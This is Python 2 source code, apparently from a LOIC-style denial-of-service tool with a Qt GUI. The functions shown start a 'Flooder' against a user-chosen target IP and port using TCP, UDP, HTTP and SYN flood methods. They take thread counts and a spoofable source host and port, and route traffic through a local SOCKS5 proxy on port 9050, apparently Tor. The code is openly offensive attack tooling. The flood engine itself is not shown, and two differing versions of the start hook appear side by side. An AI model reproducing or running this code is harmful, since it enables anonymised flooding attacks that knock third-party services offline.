def lazerStartHook(self, event): print "starting lazor" if self.status == START: if self.flooder != None: self.flooder.stop() if self.targetip == None or self.port == None: print "no target set" return if self.timeout == None: print "Missing required timeout" return if len(self.method) == 0: print "Missing required method" return if self.threads == None: print "Missing required thread amount" return self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050) self.flooder.start()
def manualStart(self): tab = self.manTab if self.flooder != None: msgBox = QMessageBox() msgBox.setText("Hivemind is already running.") msgBox.setInformativeText("Do you want to start anyway") msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel) msgBox.sethivemindButton(QMessageBox.Cancel) ret = msgBox.exec_() if ret == QMessageBox.Cancel: return self.flooder.stop() self.targetip = socket.gethostbyname(str(tab.target.text())) self.port = int(tab.port.text()) self.message = str(tab.message.text()) self.method = [] self.threads = int(self.settTab.maxThreads.text()) if tab.tcpMethod.isChecked(): self.method.append(TCP_METHOD) if tab.udpMethod.isChecked(): self.method.append(UDP_METHOD) if tab.httpMethod.isChecked(): self.method.append(HTTP_METHOD) if tab.synMethod.isChecked(): self.method.append(SYN_METHOD) self.random = False self.wait = True self.srchost = str(tab.srchost.text()) self.srcport = int(tab.srcport.text()) self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050) self.flooder.start()
def lazerStartHook(event): global status, flooder, targetip, timeout, subsite, message, port, method, threads, wait, random, speed, srchost, srcport, socks5ip, socks5port print "FIRING MAH LAZ000000R!" if status == START: if flooder != None: flooder.stop() if targetip == None or port == None: print "no target set" return if timeout == None: print "Missing required timeout" return if len(method) == 0: print "Missing required method" return if threads == None: print "Missing required thread amount" return flooder = Flooder(targetip, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport, socks5ip, socks5port) flooder.start()